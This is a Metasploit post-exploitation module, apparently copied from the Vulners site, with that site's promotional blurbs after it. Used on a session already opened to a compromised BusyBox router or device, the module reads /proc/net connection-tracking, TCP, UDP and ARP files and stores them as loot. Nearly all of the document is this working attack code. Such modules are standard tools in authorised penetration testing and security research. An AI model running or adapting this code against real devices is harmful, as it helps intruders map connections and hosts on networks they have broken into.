##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::BusyBox
FILES = [
'/proc/net/nf_conntrack',
'/proc/net/ip_conntrack',
'/proc/net/tcp',
'/proc/net/udp',
'/proc/net/arp',
'/proc/fcache/*'
]
def initialize
super(
'Name' => 'BusyBox Enumerate Connections',
'Description' => %q{
This module will be applied on a session connected to a BusyBox shell. It will
enumerate the connections established with the router or device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
found = false
print_status('Searching for files that store information about network connections')
FILES.each do |f|
next unless busy_box_file_exist?(f)
found = true
print_good("Connections file found: #{f}.")
read_connection_file(f)
end
print_error('Any file with connections found') unless found
end
def read_connection_file(file)
str_file = read_file(file)
vprint_line(str_file)
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
print_good("Connections saved to #{p}")
rescue EOFError
print_error("Nothing read from file #{file}, file may be empty")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation